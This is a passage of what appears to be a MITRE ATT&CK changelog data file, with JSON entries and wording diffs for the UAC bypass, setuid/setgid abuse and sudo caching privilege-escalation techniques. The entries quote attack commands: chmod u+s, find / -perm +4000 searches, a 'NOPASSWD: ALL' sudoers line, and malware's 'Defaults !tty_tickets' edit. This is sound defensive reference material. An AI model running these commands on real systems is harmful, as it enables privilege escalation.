eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1548/002",
"external_id": "T1548.002"
},
{
"source_name": "Davidson Windows",
"description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.",
"url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html"
},
{
"source_name": "TechNet How UAC Works",
"description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.",
"url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works"
},
{
"source_name": "SANS UAC Bypass",
"description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.",
"url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass"
},
{
"source_name": "MSDN COM Elevation",
"description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.",
"url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx"
},
{
"source_name": "enigma0x3 Fileless UAC Bypass",
"description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.",
"url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/"
},
{
"source_name": "TechNet Inside UAC",
"description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.",
"url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx"
},
{
"source_name": "Fortinet Fareit",
"description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.",
"url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware"
},
{
"source_name": "Github UACMe",
"description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.",
"url": "https://github.com/hfiref0x/UACME"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Stefan Kanthak",
"Casey Smith"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "3.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:25:01.529000+00:00\", \"old_value\": \"2026-05-12 15:12:00.621000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may bypass UAC mechanisms to elevate process privileges on a system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\\n\\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\\n\\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\\n\\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\\n\\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)\", \"old_value\": \"Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\\n\\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\\n\\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\\n\\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\\n\\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\\n+Adversaries may bypass UAC mechanisms to elevate process privileges on a system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\\n \\n If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\\n \"}}}",
"previous_version": "3.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may bypass UAC mechanisms to elevate process pri | t | 1 | Adversaries may bypass UAC mechanisms to elevate process pri |
| > | vileges on system. Windows User Account Control (UAC) allows | > | vileges on a system. Windows User Account Control (UAC) allo | ||
| > | a program to elevate its privileges (tracked as integrity l | > | ws a program to elevate its privileges (tracked as integrity | ||
| > | evels ranging from low to high) to perform a task under admi | > | levels ranging from low to high) to perform a task under ad | ||
| > | nistrator-level permissions, possibly by prompting the user | > | ministrator-level permissions, possibly by prompting the use | ||
| > | for confirmation. The impact to the user ranges from denying | > | r for confirmation. The impact to the user ranges from denyi | ||
| > | the operation under high enforcement to allowing the user t | > | ng the operation under high enforcement to allowing the user | ||
| > | o perform the action if they are in the local administrators | > | to perform the action if they are in the local administrato | ||
| > | group and click through the prompt or allowing them to ente | > | rs group and click through the prompt or allowing them to en | ||
| > | r an administrator password to complete the action.(Citation | > | ter an administrator password to complete the action.(Citati | ||
| > | : TechNet How UAC Works) If the UAC protection level of a c | > | on: TechNet How UAC Works) If the UAC protection level of a | ||
| > | omputer is set to anything but the highest level, certain Wi | > | computer is set to anything but the highest level, certain | ||
| > | ndows programs can elevate privileges or execute some elevat | > | Windows programs can elevate privileges or execute some elev | ||
| > | ed [Component Object Model](https://attack.mitre.org/techniq | > | ated [Component Object Model](https://attack.mitre.org/techn | ||
| > | ues/T1559/001) objects without prompting the user through th | > | iques/T1559/001) objects without prompting the user through | ||
| > | e UAC notification box.(Citation: TechNet Inside UAC)(Citati | > | the UAC notification box.(Citation: TechNet Inside UAC)(Cita | ||
| > | on: MSDN COM Elevation) An example of this is use of [Rundll | > | tion: MSDN COM Elevation) An example of this is use of [Rund | ||
| > | 32](https://attack.mitre.org/techniques/T1218/011) to load a | > | ll32](https://attack.mitre.org/techniques/T1218/011) to load | ||
| > | specifically crafted DLL which loads an auto-elevated [Comp | > | a specifically crafted DLL which loads an auto-elevated [Co | ||
| > | onent Object Model](https://attack.mitre.org/techniques/T155 | > | mponent Object Model](https://attack.mitre.org/techniques/T1 | ||
| > | 9/001) object and performs a file operation in a protected d | > | 559/001) object and performs a file operation in a protected | ||
| > | irectory which would typically require elevated access. Mali | > | directory which would typically require elevated access. Ma | ||
| > | cious software may also be injected into a trusted process t | > | licious software may also be injected into a trusted process | ||
| > | o gain elevated privileges without prompting a user.(Citatio | > | to gain elevated privileges without prompting a user.(Citat | ||
| > | n: Davidson Windows) Many methods have been discovered to b | > | ion: Davidson Windows) Many methods have been discovered to | ||
| > | ypass UAC. The Github readme page for UACME contains an exte | > | bypass UAC. The Github readme page for UACME contains an ex | ||
| > | nsive list of methods(Citation: Github UACMe) that have been | > | tensive list of methods(Citation: Github UACMe) that have be | ||
| > | discovered and implemented, but may not be a comprehensive | > | en discovered and implemented, but may not be a comprehensiv | ||
| > | list of bypasses. Additional bypass methods are regularly di | > | e list of bypasses. Additional bypass methods are regularly | ||
| > | scovered and some used in the wild, such as: * <code>eventv | > | discovered and some used in the wild, such as: * <code>even | ||
| > | wr.exe</code> can auto-elevate and execute a specified binar | > | tvwr.exe</code> can auto-elevate and execute a specified bin | ||
| > | y or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citati | > | ary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Cita | ||
| > | on: Fortinet Fareit) Another bypass is possible through som | > | tion: Fortinet Fareit) Another bypass is possible through s | ||
| > | e lateral movement techniques if credentials for an account | > | ome lateral movement techniques if credentials for an accoun | ||
| > | with administrator privileges are known, since UAC is a sing | > | t with administrator privileges are known, since UAC is a si | ||
| > | le system security mechanism, and the privilege or integrity | > | ngle system security mechanism, and the privilege or integri | ||
| > | of a process running on one system will be unknown on remot | > | ty of a process running on one system will be unknown on rem | ||
| > | e systems and default to high integrity.(Citation: SANS UAC | > | ote systems and default to high integrity.(Citation: SANS UA | ||
| > | Bypass) | > | C Bypass) |
chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgid bit, chmod 2775 and chmod g+s can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setgid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1548/001",
"external_id": "T1548.001"
},
{
"source_name": "GTFOBins Suid",
"description": "Emilio Pinna, Andrea Cardaci. (n.d.). GTFOBins. Retrieved January 28, 2022.",
"url": "https://gtfobins.github.io/#+suid"
},
{
"source_name": "OSX Keydnap malware",
"description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
"url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
},
{
"source_name": "setuid man page",
"description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.",
"url": "http://man7.org/linux/man-pages/man2/setuid.2.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:37:41.691000+00:00\", \"old_value\": \"2026-05-12 15:12:00.639000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\\n\\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac Permissions](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgid bit, chmod 2775 and chmod g+s can be used.\\n\\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \\\"shell escape\\\" or other actions to bypass an execution environment with restricted permissions.\\n\\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setgid bits are indicated with an \\\"s\\\" instead of an \\\"x\\\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)\", \"old_value\": \"An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\\n\\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac Permissions](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgid bit, chmod 2775 and chmod g+s can be used.\\n\\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \\\"shell escape\\\" or other actions to bypass an execution environment with restricted permissions.\\n\\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \\\"s\\\" instead of an \\\"x\\\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)\", \"diff\": \"--- \\n+++ \\n@@ -4,4 +4,4 @@\\n \\n Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \\\"shell escape\\\" or other actions to bypass an execution environment with restricted permissions.\\n \\n-Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \\\"s\\\" instead of an \\\"x\\\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)\\n+Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setgid bits are indicated with an \\\"s\\\" instead of an \\\"x\\\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)\"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may abuse configurations where an application h | t | 1 | An adversary may abuse configurations where an application h |
| > | as the setuid or setgid bits set in order to get code runnin | > | as the setuid or setgid bits set in order to get code runnin | ||
| > | g in a different (and possibly more privileged) user\u2019s conte | > | g in a different (and possibly more privileged) user\u2019s conte | ||
| > | xt. On Linux or macOS, when the setuid or setgid bits are se | > | xt. On Linux or macOS, when the setuid or setgid bits are se | ||
| > | t for an application binary, the application will run with t | > | t for an application binary, the application will run with t | ||
| > | he privileges of the owning user or group respectively.(Cita | > | he privileges of the owning user or group respectively.(Cita | ||
| > | tion: setuid man page) Normally an application is run in the | > | tion: setuid man page) Normally an application is run in the | ||
| > | current user\u2019s context, regardless of which user or group o | > | current user\u2019s context, regardless of which user or group o | ||
| > | wns the application. However, there are instances where prog | > | wns the application. However, there are instances where prog | ||
| > | rams need to be executed in an elevated context to function | > | rams need to be executed in an elevated context to function | ||
| > | properly, but the user running them may not have the specifi | > | properly, but the user running them may not have the specifi | ||
| > | c required privileges. Instead of creating an entry in the | > | c required privileges. Instead of creating an entry in the | ||
| > | sudoers file, which must be done by root, any user can speci | > | sudoers file, which must be done by root, any user can speci | ||
| > | fy the setuid or setgid flag to be set for their own applica | > | fy the setuid or setgid flag to be set for their own applica | ||
| > | tions (i.e. [Linux and Mac Permissions](https://attack.mitre | > | tions (i.e. [Linux and Mac Permissions](https://attack.mitre | ||
| > | .org/techniques/T1222/002)). The <code>chmod</code> command | > | .org/techniques/T1222/002)). The <code>chmod</code> command | ||
| > | can set these bits with bitmasking, <code>chmod 4777 [file]< | > | can set these bits with bitmasking, <code>chmod 4777 [file]< | ||
| > | /code> or via shorthand naming, <code>chmod u+s [file]</code | > | /code> or via shorthand naming, <code>chmod u+s [file]</code | ||
| > | >. This will enable the setuid bit. To enable the setgid bit | > | >. This will enable the setuid bit. To enable the setgid bit | ||
| > | , <code>chmod 2775</code> and <code>chmod g+s</code> can be | > | , <code>chmod 2775</code> and <code>chmod g+s</code> can be | ||
| > | used. Adversaries can use this mechanism on their own malwa | > | used. Adversaries can use this mechanism on their own malwa | ||
| > | re to make sure they're able to execute in elevated contexts | > | re to make sure they're able to execute in elevated contexts | ||
| > | in the future.(Citation: OSX Keydnap malware) This abuse is | > | in the future.(Citation: OSX Keydnap malware) This abuse is | ||
| > | often part of a \"shell escape\" or other actions to bypass a | > | often part of a \"shell escape\" or other actions to bypass a | ||
| > | n execution environment with restricted permissions. Altern | > | n execution environment with restricted permissions. Altern | ||
| > | atively, adversaries may choose to find and target vulnerabl | > | atively, adversaries may choose to find and target vulnerabl | ||
| > | e binaries with the setuid or setgid bits already enabled (i | > | e binaries with the setuid or setgid bits already enabled (i | ||
| > | .e. [File and Directory Discovery](https://attack.mitre.org/ | > | .e. [File and Directory Discovery](https://attack.mitre.org/ | ||
| > | techniques/T1083)). The setuid and setguid bits are indicate | > | techniques/T1083)). The setuid and setgid bits are indicated | ||
| > | d with an \"s\" instead of an \"x\" when viewing a file's attrib | > | with an \"s\" instead of an \"x\" when viewing a file's attribu | ||
| > | utes via <code>ls -l</code>. The <code>find</code> command c | > | tes via <code>ls -l</code>. The <code>find</code> command ca | ||
| > | an also be used to search for such files. For example, <code | > | n also be used to search for such files. For example, <code> | ||
| > | >find / -perm +4000 2>/dev/null</code> can be used to find f | > | find / -perm +4000 2>/dev/null</code> can be used to find fi | ||
| > | iles with setuid set and <code>find / -perm +2000 2>/dev/nul | > | les with setuid set and <code>find / -perm +2000 2>/dev/null | ||
| > | l</code> may be used for setgid. Binaries that have these bi | > | </code> may be used for setgid. Binaries that have these bit | ||
| > | ts set may then be abused by adversaries.(Citation: GTFOBins | > | s set may then be abused by adversaries.(Citation: GTFOBins | ||
| > | Suid) | > | Suid) |
sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additionally, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1548/003",
"external_id": "T1548.003"
},
{
"source_name": "cybereason osx proton",
"description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.",
"url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does"
},
{
"source_name": "OSX.Dok Malware",
"description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
"url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
},
{
"source_name": "sudo man page 2018",
"description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.",
"url": "https://www.sudo.ws/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:38:08.407000+00:00\", \"old_value\": \"2026-05-12 15:12:00.621000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\\n\\nWithin Linux and MacOS systems, sudo (sometimes referred to as \\\"superuser do\\\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \\\"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\\\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\\n\\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\\n\\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additionally, if tty_tickets is disabled, adversaries can do this from any tty for that user.\\n\\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\\\'Defaults !tty_tickets\\\\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.\", \"old_value\": \"Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\\n\\nWithin Linux and MacOS systems, sudo (sometimes referred to as \\\"superuser do\\\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \\\"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\\\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\\n\\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\\n\\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\\n\\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\\\'Defaults !tty_tickets\\\\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.\", \"diff\": \"--- \\n+++ \\n@@ -4,6 +4,6 @@\\n \\n The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\\n \\n-Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\\n+Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additionally, if tty_tickets is disabled, adversaries can do this from any tty for that user.\\n \\n In the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\\\'Defaults !tty_tickets\\\\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.\"}}}",
"previous_version": "2.0",
